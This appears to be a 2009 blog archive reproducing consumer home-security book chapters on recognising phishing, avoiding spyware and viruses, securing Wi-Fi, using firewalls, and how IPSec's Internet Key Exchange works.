Is the e-mail from a strange sender? If the e-mail is from a strange-looking e-mail address (much like spam), ask yourself why your bank does not have a more normal address? If you get an e-mail from MyBank, it is a good bet that the person sending it should have an e-mail address ending in @mybank.com.

Does the e-mail sound urgent, threatening to close an account if you do not take action? The faster you act, the less time you have to think. The people who run these scams want you to move fast so that you give them your personal info before you figure out the scam.

Does the e-mail have misspelled words or poor grammar or sentence structure? Many phishing scams originate overseas or in countries with loose copyright and extradition laws. Although the scammers are talented at creating logos and web pages, they seem to have all skipped language lessons. That is not to say that a perfectly structured e-mail is legitimate. To be sure, however, a poorly written one is a trap.

Does the e-mail ask for charitable donations (often in the wake of a disaster)? The American Red Cross and just about every other reputable charity all have policies in place stating that they do not solicit for donations via e-mail. If you get an e-mail asking for donations, assume it is a scam. If an e-mail alerts you to a relief effort that you want to support, delete the e-mail, open a browser, and go to the official site of the charity you want to support. Do not click any links within the e-mail. This is one of the most insidious forms of phishing, preying on good-intending people and diverting funds from those who would have received additional help. Never respond to an e-mail asking for charitable donations.

Does the e-mail state that you have won a contest or prize that you did not even enter for? It is fake! The previous example showed how scammers prey on people's charity; this type plays on greed. Unless you have specifically entered a contest, do not reply to this type of e-mail. In fact, even if you did enter a contest, do not reply to the e-mail.

Is the e-mail regarding a transfer of funds from a bank in Nigeria? Delete Delete Delete!

Is the e-mail regarding a recently deceased, wealthy, long-lost relative and you are the only family member they can find? Forward these to your dumb cousin whom you don't like anyway. Really, this has got to be one of the worst scams ever, and yet somehow people fall for it. The e-mail asks for your account information so that they can transfer your inheritance into it. The only transfer that will happen will not be in your favor.

Is the e-mail offering security services through a bank or other type of institution? This is a new version of the confidence schemes. Telemarketers used to do something similar by going back to people they had previously ripped off, offering to track down the stolen money for a fee (thereby ripping them off a second time). In this scheme, people who have been burned, or who are afraid to get burned, are enticed to provide credit card data to pay for bogus services

These are just some examples of many types of phishing scams out there. The scammers are getting bolder, smarter, and more clever with each scam. So, be on the look out as they are sure to invent new ones every day that do not follow the common examples in this chapter.

Unfortunately, most of the security measures we talk about in this book do not catch or otherwise deter phishing scams (other than spam filters, but those are not 100 percent effective in blocking these types of e-mails). The next section covers what to do if you get an e-mail you suspect as fraudulent. The short answer is if it looks suspicious, delete. You are the best filter.

What to Do If You Suspect You Are the Target of a Phishing Scam

The first obvious answer is do not click the links or reply to the e-mail! We cannot emphasize this enough. There are basically a couple of things to do after that:

Notify the actual institution referenced in the scam. Chances are they will already know about it, but you can at least feel like a good citizen for doing your part to help others. After you notify them, delete the e-mail.
Just delete the e-mail. Chances are the authorities already know about it. Save yourself some hassle.
If you have already responded to one of these e-mails, call the number on the back of all your credit cards and contact your financial institutions to alert them that you may have been the victim of a scam. You should also check your credit report once a year or so to monitor against suspicious behavior.
Contact your state's attorney general to report the scam. Also, report the scam to the Federal Trade Commission. The FTC has a website specifically regarding identity theft:www.consumer.gov/idtheft
- Or call 1-877-ID-THEFT.
If for whatever reason you do think you might have an issue with an online account, close the e-mail, enter the URL address you have for the business you deal with, and log in to your account. Better still, call the number on your billing statement and talk to a live person. Never use any of the information provided in the e-mail to contact the party in question.

Summary

Phishing scams are one of the fastest growing and most costly security issues on the Internet, but you can avoid them just by taking the time to look at the request and seeing it for what it is. This type of scam only works when you let it happen. Follow the rules laid out in this chapter and do not be in a rush to respond to official-looking e-mails. Reputable financial and business institutions have largely stopped using e-mail communication and rarely (or never) request personal information via e-mail.

Lock Out Spyware and Adware

2009-05-20T18:11:00.000+05:30

Lock Out Spyware and Adware

Examples of Threats:

Popping up advertisements all over your computer screen

Installing programs to collect and report data on your Internet browsing habits

Inserting toolbar or searchbar programs into your browser or applications, such as Internet Explorer, which slow down your computer's performance

Collecting and reporting information about which websites you visit so that you can be targeted more effectively with advertisements and marketing

Our Tips:

Install and enable a popup blocker.

Install and enable a spyware/adware blocker.

Use a personal firewall program on each computer to prevent unauthorized program installations and Internet access (see Chapter 1, "Tip 1: Use Firewalls").

Avoid downloading "free" software programs that have strings attached.

Periodically use a spyware elimination program to find and delete spyware and adware.

One of the engines that has driven the explosive growth of the Internet is the concept of eyeballs. For a relatively low price, you are provided with a high-speed broadband connection that gives you access to an endless amount of mostly free information, services, digital media, and even software programs.

Ever ask yourself how these companies stay in business? For example, how does Weather.com pay their bills to be able to bring you awesome up-to-the-minute radar images for your city's weather? How can people give you software programs such as screensavers and games for free?

The answer is eyeballs. Eyeballs refers to the number of people's eyes someone can get to view their Internet content (and accompanying advertisements). Yes, the Internet is based on relatively the same concept as commercial television.

The difference is the Internet can bring highly targeted advertising like never before and sometimes nearly force you to view it. Banner and popup ads were the first wave, but most people are tuning them out, so to speak, by installing popup blockers. So, advertisers are relying on more sophisticated methods to get their stuff in front of your eyes.

An all-out brawl is looming between consumers and advertisers. Between cable networks, DVRs, and TiVo players, we can screen out quite a few commercials. With increasingly good technology, we can also screen out a lot of advertisements online, too, which is the focus of the rest of this chapter.

What Is Spyware and Adware?

So, why spyware and adware? Well, quite frankly, online advertisers are getting more desperate to keep the ads under your nose. As a result, there is an escalation of techniques occurring, some getting pretty aggressive. These techniques include adware and spyware.

Adware

There is not one agreed upon definition of what adware is and is not, but in general it includes any program used to facilitate getting advertising content in front of you on your computer, including the following:

Popups Advertisements that pop up on your computer screen as new windows, especially while you are browsing the Internet.

Adware Although the whole category of advertisements is often referred to as adware, the term also is used in reference to hidden programs inside of other programs. This is usually from free software or a game you download that is permitted to shower you with ads as the price you pay for using it for free.

Annoyware Term for aggressive adware practices, such as asking whether you want to install a program and then only allowing you to click OK and not Cancel, or popups that when you close them keep popping up more and more additional ones.

Banner ads Blending an advertisement into a website in an official-looking banner, enticing you to click it because you think it is part of the page you are browsing.

Drive-by downloads Suddenly asking you to download a program that you did not ask for while browsing the Internet.

Warning boxes Making a popup ad look like a typical warning box you get in Windows. Our favorites are those that claim your system is infected with adware/spyware and then try to sell you an antiadware program. Adware selling antiadware. Beautiful.

Most adware is obtained willingly, by you agreeing to see advertisements for using a free piece of software or service on a website. You probably do not even notice this in the fine print of the user agreement when you click the Accept button. (Adware vendors are counting on the fact that you don't.)

Spyware

There is also not one agreed upon definition of what spyware is and is not, but in general it includes any program used to gather and relay information from your computer to a location collecting the information, including the following:

Data miners Actively collect information from you and then relay it to a remote server.

Spyware As in the adware case, this term is used for both the category and for a particular instance within the category. In this case, we are referring to a hidden program that collects information and sends it to a central server without your knowledge or consent.

Trackware Generally passive method of tracking with cookies what site or sites you have visited and also some amount of personal information.

Hijacker These little gems like to hijack your Internet Explorer settings, such as changing your home page to where they want you to go or hijacking and overlaying the search function.

Searchbars and toolbars Toolbars for searching that can be added as add-ons to Internet Explorer. They generally cause slow performance on your computer and can be used to track what information you search for and browse.

Some spyware is obtained willingly, by you agreeing to participate in some trial marketing for using a free piece of software or service on a website. Just as often, you might think you are agreeing to adware when in reality a program has been placed on your computer that can collect information and send it to a marketing company.

Are Spyware and Adware Viruses?

Although many adware and spyware programs increasingly share some of the characteristics of
viruses, especially stealth and doing things without your knowledge, the primary distinction
is that viruses live to replicate, whereas spyware and adware live to gather information that
can be sent to marketing companies or to entice you to buy a specific product.

In general, spyware and adware are a one-to-one relationship between you and whatever
marketing organization is trying to sell you stuff. They generally do not replicate themselves
and send themselves to other computers. Spyware and adware tend to operate more on the "cow pattie" model: meaning they lie around on websites until you step in one, and then they cling to your shoe until you can shake them loose.

Preventing Spyware and Adware

Adware is mainly an annoyance but can slow down the performance of you computer. Spyware is a larger threat because it can be an invasion of your privacy. You can take four steps to remedy the threat:

Exercise common sense.

Block popups.

Install an antispyware/antiadware program.

Implement a personal software firewall.

The first three are covered in the sections that follow :

Exercising Common Sense

The easiest way to avoid dealing with spyware and adware on your computer is the same as for viruses: Do not get them in the first place. Easier said than done, but here are some tips:

Avoid downloading "free" software programs, screensavers, and any program that comes with strings attached.

If you are not sure whether there are strings attached, do some quick Internet research on the software program.

Do not click on popup ads, even to win money from a monkey.

Do not fall for popups on your computer saying your computer is infected with spyware.

Ask yourself why something of value is being offered for free. What do they have to gain from giving it to you? It is almost impossible never to get adware or spyware on your computer. Just like viruses, we have had them, and everyone we know has had them.

Installing a Popup Blocker

The first step in avoiding adware and spyware (and to save yourself a ton of annoyance) is to turn on a popup blocker to stop the endless stream of windows with advertisements popping up on your computer screen while you are on the Internet. You have a couple of options.

Turning On the Internet Explorer Built-In Popup Blocker

If you are running Windows XP Service Pack 2 (SP2), you have a popup blocker already. All you need to do is turn it on. If your version of XP is not SP2, you can acquire it here:

http://www.microsoft.com/windowsxp/sp2/default.mspx

Popup blocker is built in to Internet Explorer. To turn it on, click Tools > Pop-up Blocker > Turn On Pop-up Blocker

That was easy. Periodically, some websites might use popups you want to see, not as ads but as part of the way that website functions to show you information. You can just toggle the popup blocker in your browser off temporarily. Just remember to turn it back on when you leave that website.

When you turn on the popup blocker, the menu option will change to Tools > Pop-up Blocker > Turn Off Pop-up Blocker. You just use the same menu option to toggle the feature on and off.

Installing a Third-Party Popup Blocker Program

If you do not have Windows XP (still running Windows 98SE, 2000, or ME), you do not have the option to upgrade Internet Explorer to receive the built-in popup blocker.

However, several popup blockers are available for free (yes, we know we said not to download free stuff). Pop-Up Stopper from Panicware is a pretty decent one. You can get it here:

http://www.panicware.com/product_psfree.html

After you install it, a little white glove icon will appear in the lower right of your screen (on the running tasks bar). If you double-click the glove, you can toggle Pop-Up Stopper on and off,

Installing an Antispyware/Antiadware Program -

The next step in adware and spyware prevention is to install an antispyware/antiadware program.

Your computer is scanned for known spyware and adware programs, matching them against a list of known spyware/adware signatures. If detected, you can remove them. If a piece of spyware is not yet in the signature list, it will be missed, again similar to antivirus.

Also similar to antivirus, but not quite there yet in terms of technology (that is, it is pretty new at the time of publication), is the ability to do active scanning, meaning blocking the insertion of adware and spyware into your computer in the first place. This is preferable rather than detecting and deleting it, after it is already on your computer and operating.

You have several options for antispyware/antiadware programs, including the following:

Installing a freeware program from the Internet

Installing Windows Defender, a relatively new option

Enabling the antispyware/antiadware function in a security bundle you already own or plan to buy

The following sections look at each option. Any option will work, but they do have different advantages and disadvantages, so weigh which one is right for you. You might want to install all of them and then pick which one is right for you. Multiple programs for scanning are okay. However, be careful having multiple programs setup for active scanning at the same time because it could affect your computer's performance.

Free Antispyware/Antiadware Programs

A couple of really good antispyware/antiadware programs are available on the Internet for free. If you have been paying attention at all, you should be saying, "Hey, you told me not to do that." Well, exceptions apply to every rule.

The basic version of these programs is free. They make money by offering an upgrade to a premium version that has more features and a higher level of service. We look at the basic versions here.

Spybot Search & Destroy

The first is a product called Spybot Search & Destroy from Safer Networking. It is available here for download:

http://www.safer-networking.org/

After installing the program, you can double-click the desktop icon to start it.

Clicking Search for Updates downloads the latest signatures over the Internet to your computer so that Spybot has the latest set of spyware/adware knowledge to search with.

Clicking Check for problems scans your computer for known spyware and adware problems. When the scan has completed,

Very Important

Some adware programs are on your computer because you downloaded something, such as a screensaver program, that you are using for free under the agreement that the adware can live on your computer and bring you advertisements. If you remove the adware with Spybot or any other tool, you will likely disrupt the freebie program you are using. So, if you want to keep a particular piece of adware, uncheck it in the list before you click Fix selected problems.

Virus

2009-05-11T21:30:00.000+05:30

Different types of Viruses

Worms

Worms are similar to viruses in that their defining characteristic is self replication. Unlike viruses, however, a worm's primary function is not to do damage to a computer, but just to keep replicating, and replicating, and replicating.

Worms also differ from viruses in that they do not require an executable file. Worms exploit security holes in computer systems or software programs. You might be thinking that simple replication without harming or removing files is not so bad, but replication can be so explosive that your computer performance slows to a crawl, your broadband connection gets clogged, and if enough computers become infected, the entire Internet can experience problems.

The worm may show up at your computer in any number of ways, most commonly via e-mail or downloading "free" software from the Internet. In this example, the worm (a virus would behave in a similar way) shows up in the form of an e-mail pretending to be pictures from a recent party. The user unknowingly double-clicks the e-mail attachment, and the worm starts executing.

When triggered, it searches your computer for e-mail addresses of your friends and family (and business associates) by dipping into your e-mail program's contacts list. The worm then e-mails itself to everyone in your list, and the replication continues.

Another type of worm requires no action by a human to spread. It simply exploits a weakness or bug in the operating system software and spreads like wildfire directly from PC to PC. Imagine this process starting out on a few hundred computers, each e-mailing 20 or 100 others, and soon enough hundreds of thousands of computers across the globe are infected. One of the most well-known worms infected more than 350,000 computers within 13 hours of release. At the peak of the spread, more than 2000 new computers were being infected every minute.

Whereas computer virus outbreaks used to be measured in days, worm outbreaks are now measured in minutes or seconds because of the speed of the Internet and ubiquitous availability of e-mail.

It is worth noting that many people (including those in the media) lump all these types of files into the virus category when many are in fact worms.

Trojan Horses

Trojan horses are probably the most unknown type of malicious program but are potentially the most devastating to those who get infected by them. Similar to viruses and worms, Trojan horses typically arrive at your computer in an e-mail attachment or as a hidden gift within a "free" software program you downloaded. Just like the horse from Homer's epic, a nasty surprise is waiting inside this gift. Trojan horses are programs that give a hacker access to your computer. After the "gift" file is opened, the hacker's program is also opened and that's when the trouble starts. Some of the more common programs are keystroke loggers and remote control programs:

Key stroke loggers collect everything you type on your keyboard (including passwords, usernames, and credit card numbers). After a certain amount of data is collected, the information is sent to the hacker (without your knowledge, of course).
Remote-control programs enable hackers to take over your machine, allowing them to go through your files and data or use your machine to attack another computer.

When triggered, the Trojan horse deposits a program onto your computer and reports back to the author, handing over the keys to access your computer.

Commonsense Approach to Computer Viruses

It is actually pretty hard to keep yourself from being infected with a virus. It is a bit like visiting a doctor's office or preschool: You can watch what you touch, who you sit near, and wash your hands, but you can still end up with a cold.

The first line of defense against computer viruses, worms, and Trojan horses is common sense. You can do some fairly simple things to prevent infection:

Do not open any e-mail (especially attachments) from people whom you do not know.
Many recent viruses replicate by sending themselves to people in your contact list, so it is possible to receive a virus e-mail from someone you know, even without that person knowing he or she sent it.
Preview any e-mail thoroughly before opening attachments. If you have any suspicion whatsoever, call the sender on the phone and ask whether he or she sent the e-mail.
Avoid "free" software, offers, and opportunities. Ask yourself why they are giving valuable stuff away.
If you use an e-mail program, such as Outlook, that gives you the option of viewing e-mails in plain text or HTML, set the default to plain text. Some viruses now take advantage of HTML and auto-launch as soon as the e-mail is opened. If you only view in plain text, any attached virus must be manually opened (which means at least you have a fighting chance).
There is also a preview pane in Outlook that does actually open the e-mail and can launch a worm or virus. You can turn the feature off for some added protection.

Very Important

If you have children who use the Internet from a computer at home, set a rule that all downloads should be approved by Mom or Dad. This is good advice for malicious software and for some topics discussed later in the book.

Unfortunately, common sense does not save you from every infection, and anyone who has been using the Internet any period of time has likely been hit with a virus or worm. We have been hit. Everyone we know has been hit, and so has pretty much every company on the Fortune 1000. So, obviously, common sense is not enough. Fortunately, we have antivirus programs that are both cheap and effective.

Anti Virus

2009-05-11T21:22:00.000+05:30

Use Anti-Virus Protection

Examples of Threats:

Modify, corrupt, or destroy files on your computer
Corrupt the computer operating system causing unpredictable behavior, poor performance, or security holes
Unauthorized e-mailing of files or the virus itself to people on your contact list
Allow a hacker to gain control of your computer through a back door

Our Tips:

Enable antivirus protection at your Internet service provider (ISP) and/or e-mail provider if it is available.
Install antivirus software on each computer in your home network.
Set up antivirus software to automatically perform periodic virus scans.
Make sure any antivirus software automatically retrieves signature updates.

When people talk about computer and network security, they almost always mention computer viruses sooner or later. Even people who do not often use computers have heard about viruses because of all the news hype that surrounds them. In this chapter, we discuss viruses and other malicious code (collectively referred to as malware, bad software), including where they come from, what they do, how you can protect your computer against them, and how to get rid of them if you do get infected.

What Are Computer Viruses?

The term computer virus tends to get used for any malicious code created with the intention of harming a computer or slowing network traffic, but a virus is actually a specific type of program. The next few sections give a brief overview of the different kinds of malicious software often lumped into the term virus, including a real-world example of each.

Very Important

You might notice that throughout this book (or any of our books) that we do not name specific viruses, worms, Trojan horses, adware, spyware, and so on. The reason is that one motivation for people who create such programs is the notoriety and publicity that they can create. So, we just choose not to add fuel to that fire.

Viruses

The definition of a computer virus is a program that attaches itself to (or really within) another program (the host) so that it can replicate itself when the host program is run or executed. That's it. You might be surprised that this definition says nothing about removing data, crashing a computer, or any other nasty effects. This is because a virus is defined by its replication behavior, not its effect on the host computer. That said, many viruses do harm data and computers (either intentionally or unintentionally), and any program activity that occurs on your computer or network without your knowledge or consent is a hostile attack against you and your property.

You might think it is okay because it is from a friend or seems harmless because you did share pictures recently, so you double-click the attachment, installing a virus on your computer. The virus then searches through your Microsoft Outlook Express address book and e-mails a copy of itself to all your friends and family.

Some viruses are designed to remove or replace data or corrupt computer systems. These types of viruses tend to be an exception, because they are extremely difficult to create. Just as worrisome are the viruses created by people who are not skilled programmers, because their programs tend to be unpredictable. In the off chance that a virus created by an unskilled programmer does replicate in the "wild" (on the Internet), there is really no telling what the program will do.

Secure Your Wireless Network

2009-05-11T21:02:00.000+05:30

Secure Your Wireless Network

Examples of Threats:

Passers-by getting free Internet access
Hackers getting access to your computer files
Hackers "listening" for passwords and other private information

Our Tips:

Turn off SSID broadcast.
Use WEP or WPA encryption.
Change the default password on your router.
Turn off the ad-hoc networking function.
Make sure your NIC does not unintentionally roam to someone else's wireless router.

It is pretty likely that you are currently (or will soon be) using a wireless networking device in your home. Wireless is great for all the flexibility it affords when it comes to setting up a home network, and it is cool when you want to surf the web or check e-mail when you are on the deck, or couch… or toilet (like you've never done it).

Wireless is affordable, flexible, and easy to install, and in general we highly recommend it. The problem is that to make it easy to install the manufacturers turn off most if not all the security features so that it connects easily out of the box. In fairness, most of the manufacturers we have looked at do have quick-start guides that show how to enable security, but as we demonstrate in this chapter many people just don't bother. This could be an expensive mistake if you consider what it costs to repair your credit history.

Why Should I Care About Wireless Network Security?

Access to a wired network is easy to control because people have to be physically inside your house to plug a computer into the router. With a wireless network, people just have to be in the proximity of your house. Physical barriers such as windows and doors do not control access in this case, so we have to take other steps to block intruders.

The security issue with a wireless network stems from the fact that the signal is omnidirectional. Unlike a wired network, where signals are fairly well contained, the wireless signal goes everywhere in all directions (including up and down for those of you in multistory buildings) for 300 feet or more. Anyone who wants to gain access to your signal need only put a receiver (a computer with a wireless card) inside the signal range.

Very Important

Why would someone want to access your wireless network? Well, there are lots of reasons. One of your neighbors could "leech" onto your network just to receive free Internet access. Although irritating, this is not all that harmful in itself, if all they are doing is browsing the Internet on your dollar. However, "war drivers" (people who drive around looking for unsecured wireless connections) or professional hackers could use the access to obtain your personal information. For example, eavesdropping while you are conducting an online purchase could expose your credit card information. They could also access the computers on your network.

One of the most unusual illicit uses of unsecured home wireless networks also offers perhaps the strongest reason yet to secure your wireless network. Recently, several instances have surfaced in which people conducting illegal activities used unsecured home networks for the anonymity that they can provide. One fellow parked in a neighborhood, easily gained access to an unprotected home wireless network and downloaded huge amounts of illegal child pornography. He was caught and arrested, but because of a traffic violation, not the downloading. (The police noticed the pictures on the computer after they pulled him over.) If someone commits illegal activity in this manner, it can easily be traced to your broadband subscription, and you could end up having to explain to the authorities (and your family) that it was not you or other family members conducting the illegal activity.

We are always amazed when we drive through a neighborhood and check how people have deployed their wireless networks. On one drive recently, we easily found 114 wireless routers, only 45 (roughly 40 percent) of which were protected in any fashion. From such a scan, potential intruders can easily obtain a survey of the available wireless networks, their service set identifiers (SSIDs), channel numbers, and most important, which networks have been secured and which have been left wide open (roughly 60 percent).

What Do I Do About Wireless Security?

You can take three really simple steps to dramatically increase the security of your wireless network. It is not foolproof wireless security, but it will keep you from being an easy target and it will keep most of the riff raff out.

There are plenty of easy targets out there, so all you need to worry about in most cases is the curious neighbor or someone specifically looking to access a network with no protection at all. The steps in this chapter will not keep out a really serious hacker; if you have reason to worry about a hacker specifically targeting you (as opposed to someone hacking at random), however, you can hire a security specialist, or better yet, just do not use wireless. For the vast majority of you, though, read on.

So what are the four things you need to do?

Change your router's password.
Do not advertise your network (turn off SSID broadcast).
Scramble (encrypt) your wireless signal (use WEP or WPA).
Do not use ad-hoc networking.

Before we get into the "How to Do It" section, let's take a closer look at the "what" and "why" of wireless network security. Do not worry if this seems a bit complicated; it really is not. The "How to Do It: Securing Your Wireless Network" section walks you through the setup so that these basic security features can be turned on in a fairly painless way. Trust us here: It is a far worse pain to have people get on and take advantage of your network than to implement these steps.

Change Your Password

Pretty much every router on the planet comes with a default password of admin. If you don't change this immediately upon turning on and connecting to your router, you are asking for trouble. You need to open the screen where the password gets changed anyway, so do yourself a favor.

Do Not Advertise Your Wireless Network

Every wireless router is given a name that allows clients (wireless-enabled computers) to find and associate to it. This name is called the service set identifier, or SSID. The first thing you can do to greatly improve the security of your wireless network is not to broadcast the SSID.

Most wireless routers have the broadcast SSID setting turned on when you take them out of the box. This feature announces the name of your network to every wireless-capable computer within range. Although this makes it easy for you to connect to your network, it makes it easy for the rest of the neighborhood, too. Turn this feature off (we show you how later in the section "Stop Advertising Your Wireless Network"). In addition, remember that knowing the name of a network (even if the broadcast function is turned off) gives you the power to get on that network, so you should choose a random SSID name. The same rules that apply to any password apply here, too.

Any SSID that is easy for you to remember is probably easy to figure out, so avoid SSIDs that include your name, the word home, the word network, or anything related to your name-homewireless-network. We suggest that you rename the SSID to something personal (but not easily guessed), or use a random combination of numbers and upper- and lowercase letters. Do not worry about having to memorize this; you can just write it down and keep in a drawer or a folder where you can access it later if you need it. Remember, however, that these steps only keep out the nosy neighbors and provide your router with some level of anonymity, but this step does not by itself protect your network.

Disable Ad-Hoc Networking

Your wireless-enabled computer has two basic modes of communication: infrastructure and ad-hoc networking. In infrastructure mode, all the computers on the network must communicate through the router. So whether you are talking to the Internet or with another computer on the local network, all your communication traffic goes through the router. This is what most people are and should be doing.

In ad-hoc mode, computers can communicate directly with each other without going through a router or any other device. This is great if, for example, you want to share a file with someone quickly. The bad thing is that if you have this mode enabled, those who know what they are doing can get access to all your files, possibly without you even noticing it. To avoid this, we strongly recommend that you disable this function. If you find yourself in a situation where you need to use this feature (such as visiting a friend's home that only has an ad-hoc network), turn it on for the duration of use and then immediately disable it.

Wireless Security Checklist

Wireless networks are extremely beneficial, but you must take some simple steps to protect them. Without taking the steps in this chapter, it is the equivalent of locking the front door and leaving all windows and back doors unlocked and standing open. It is pretty easy (and so critical) to add appropriate security. Here's a quick checklist to refer to:

Change the password on the wireless router from the default (for example, admin).
Change the SSID from the default (for example, linksys) to a random series of lowercase letters, uppercase letters, and numbers.
Disable SSID broadcast on the wireless router.
Enable WEP or WPA encryption on the wireless router and all wireless network adapters. Use the strongest encryption level that all devices support.
Use a WEP or WPA passphrase that is a random series of lowercase letters, uppercase letters, and numbers.
Disable ad-hoc wireless networking on all network adapters (applies to Windows XP).
Disable auto-connection to nonpreferred networks on all wireless network adapters.

Firewall

2009-04-25T15:49:00.000+05:30

Examples of Threats:

Unauthorized access to your home network or a computer on your home network through your Internet connection
Unauthorized installation of software programs onto a computer or device on your home network
Unauthorized access by a computer or software program to the Internet, exchanging unintended information
Using compromised computers on your home network as anonymous sources for launching attacks on others

Our Tips:

Install a stateful-packet-inspection firewall between your broadband Internet connection and home network.
Install personal firewall software on each of the computers in your home network.
Periodically monitor access logs and firewall rules to ensure continued protection.

The term firewall borrowed from the construction industry, where a hardened fire-proof material, such as cinder block, is built between two sections of a building so that if one catches on fire, the other might not.

A firewall in computer terms provides similar protection, by shielding one part of a network (say, your home network) from another part (say, the Internet) that may be "on fire." Now, the Internet is not exactly in flames, but it is a "dirty" network, meaning few rules and regulations apply, and those that do exist are often circumvented by some folks. You can view the Internet kind of like the Wild West of networks.

Firewalls are one of the most important lines of defense you need for your home network. You may ask yourself, "Why are firewalls so important? After all, I have been using the Internet for years with a dialup connection and never needed one before."

The answer is simple. If you only have to go into a bad part of town occasionally, maybe you can just be careful. If you have to live in that part of town all the time, it is probably wise to lock the doors and carry some type of protection.

With high-speed broadband service, your Internet connection is always on, meaning as long as your broadband modem is connected to your home network and it is powered on, your home network and all the computers on it have a connection to the Internet. You are no longer just visiting the bad side of town; with broadband, you are now living there.

Unchecked, hackers, bored or mischievous neighbors (or their kids), or just other people with too much time on their hands can try to access your home network through your broadband connection from anywhere in the world. Broadband also provides hackers with high-speed connections to do a lot more hacking. Once hacked, you cannot undo what you may lose, such as personal data, access to financial accounts, and so on. So, the only real option is to prevent yourself from being hacked in the first place.

Firewalls provide a means to block unwanted visitors from gaining access to your home network, the computers on it, and the information those computers contain.

Why Do I Need Firewalls?

Why would someone want to access your home network? Well, for a lot of reasons, ranging from simple theft of the information on your computers to hijacking your computers and using the anonymity they can provide to conduct other illegal activities. It is impossible to list here all the examples, but let's consider two common ones.

First, most people regularly store information, such as e-mail, spreadsheets, and even passwords to online accounts (eBay and PayPal, for example) on their computers, hacker can launch what is called a brute-force attack to gain access to one of your computers. Tools to perform such attacks, which are easily available on the Internet, use dictionary files to repeatedly attempt to guess your password to remotely log in to your computer or to access a shared drive.

If left unchecked, hackers can attempt thousands of times until they succeed. When into the computer, they can simply help themselves to whatever information you have stored there.

In the second example, it is not the information itself on the computers the hacker is interested in, but enlisting your computer (probably along with hundreds or thousands of others) into what is called a boot army. Bot armies are when a hacker has taken over control of many computers and then uses the computers for illicit means, such as to attack other computers or corporate websites

By exploiting a security flaw in the computer's operating system, hackers can install a small program to take remote control of your computer. After doing so on hundreds or thousands of other computers, hackers can then go after their target with a DDoS attack by instructing all the remote-control computers in the bot army to start sending web page requests to a website such as www.microsoft.com and repeat the requests as often as possible. If successful, the tens of thousands of requests can cause a spike in the web server and possibly cause it to fail because of overloading. If they cannot cause the server to fail entirely, it might be possible to disrupt or slow down the service to legitimate folks who are trying to access the website.

This is called a DDoS attack. If the attack were conducted from a single computer, the website owners might be able to recognize a pattern and simply block that computer from making future requests. However, if the attack is coming from thousands of people's home computers, how can the website owner distinguish legitimate requests from an attack? That's the point of a bot army: scale, anonymity, and stealth.

We do not pretend to have the answers to why people do such things. Quite frankly, many of them are highly intelligent folks, who for whatever reason have decided to run against society's grain. Regardless of why, they do it; so, it is important for you not to be a victim.

Internet Key Exchange

2009-04-25T15:47:00.000+05:30

Internet Key Exchange

Security associations are used with IPSec to define the processing done on a specific IP packet. An outbound packet produces a hit in the SPD and the SPD entry points to one or more SAs—an SA bundle. If there is no SA that instantiates the policy from the SPD it is necessary to create one. That is where the Internet Key Exchange (IKE) comes into play. The whole purpose of IKE is to establish shared security parameters and authenticated keys—in other words, security associations—between IPSec peers.

The IKE protocol is a hybrid of the Oakley and SKEME protocols and operates inside a framework defined by ISAKMP—the Internet Security Association and Key Management Protocol. ISAKMP defines packet formats, retransmission timers, and message construction requirements, in effect, the language. Oakley and SKEME define the steps two peers must take to establish a shared, authenticated key. IKE uses the ISAKMP language to express these and other exchanges.

IKE is actually a general-purpose security exchange protocol and may be used for policy negotiation and establishment of authenticated keying material for a variety of needs—for example, SNMPv3, OSPFv2, etc. The specification of what IKE is being used for is done in a Domain of Interpretation (DOI). There exists a DOI for IPSec, RFC2407, which defines how IKE negotiates IPSec SAs. If and when IKE is used by other protocols, they will each have to define their own DOI.

IKE uses the concept of a security association but the physical construct of an IKE SA is different than an IPSec SA. The IKE SA defines the way in which the two peers communicate; for example, which algorithm to use to encrypt IKE traffic, how to authenticate the remote peer, etc. The IKE SA is then used to produce any number of IPSec SAs between the peers. Therefore, the action that an IPSec implementation takes when an SPD entry has a NULL SADB pointer is to communicate the security requirements from the SPD to IKE and instruct it to establish IPSec SAs.

The IPSec SAs established by IKE may optionally have perfect forward secrecy of the keys and, if desired, also of the peer identity. More than one pair of IPSec SAs may be created at once using a single IKE exchange, and any number of such exchanges may be performed by a single IKE SA. This richness of options makes IKE very extensible but also very complex.

The IKE protocol is performed by each party that will be performing IPSec; the IKE peer is also the IPSec peer. In other words, to create IPSec SAs with a remote entity you speak IKE to that entity not to a different IKE entity. The protocol is a request-response type with an initiator and a responder. The initiator is the party that is instructed by IPSec to establish some SAs as a result of an outbound packet matching an SPD entry; it initiates the protocol to the responder.

The SPD of IPSec is used to instruct IKE what to establish but does not instruct IKE how to do so. How IKE establishes the IPSec SAs is based on its own policy settings. IKE defines policy in terms of protection suites. Each protection suite must define at least the encryption algorithm, the hash algorithm, the Diffie-Hellman group, and the method of authentication used. IKE's policy database then is the list of all protection suites weighted in order of preference. Since the specific policy suite that the two peers agree upon will dictate how the remainder of their communication is done, this negotiation is the first thing the two IKE peers do.

There is more than one way for two peers to establish a shared secret, but IKE always uses a Diffie-Hellman exchange. The act of doing a Diffie-Hellman exchange is not negotiable, but the parameters to use are. IKE borrows five groups from the Oakley document; three are traditional exchanges doing exponentiation modulo a large prime, and two are elliptic curve groups. The Diffie-Hellman exchange and the establishment of a shared secret is the second step of the IKE protocol.

Upon completion of the Diffie-Hellman exchange the two peers have a shared secret but it is not authenticated. They may use it—or in the case of IKE, a secret derived from it—to protect their communication, but they have no guarantee that the remote peer is, in fact, someone they trust. The next step in the IKE exchange is authentication of the Diffie-Hellman shared secret and, therefore, authentication of the IKE SA itself. There are five methods of authentication defined in IKE: preshared keys; digital signature using the Digital Signature Standard; digital signature using the RSA public key algorithm; an encrypted nonce exchange using RSA; and a "revised" method of authentication with encrypted nonces that is subtly different than the other encrypted nonce method. (A nonce is merely a random number. Each party in an IKE exchange contributes a nonce to the state of the exchange. This concept will be explained fully in

Creation of the IKE SA is referred to as phase one. Once phase one is completed, phase two—creation of IPSec SASs—may commence. There are two exchanges that can be performed for phase one, a Main mode exchange or an Aggressive mode exchange. Aggressive mode is faster but Main mode is more flexible. There is a single phase two exchange, Quick mode. This exchange negotiates IPSec SAs under the protection of the IKE SA, which was created from a phase one exchange.

The keys used for the IPSec SAs are, by default, derived from the IKE secret state. Pseudo-random nonces are exchanged in Quick mode and hashed with the secret state to generate keys and guarantee that all SAs have unique keys. All such keys do not have the property of perfect forward secrecy (PFS) since they're all derived from the same "root" key, the IKE shared secret. To provide PFS, Diffie-Hellman public values, and the group from which they're derived, are exchanged along with the nonces and IPSec SA negotiation parameters. The resultant secret is used to generate the IPSec SA keys to guarantee PFS.

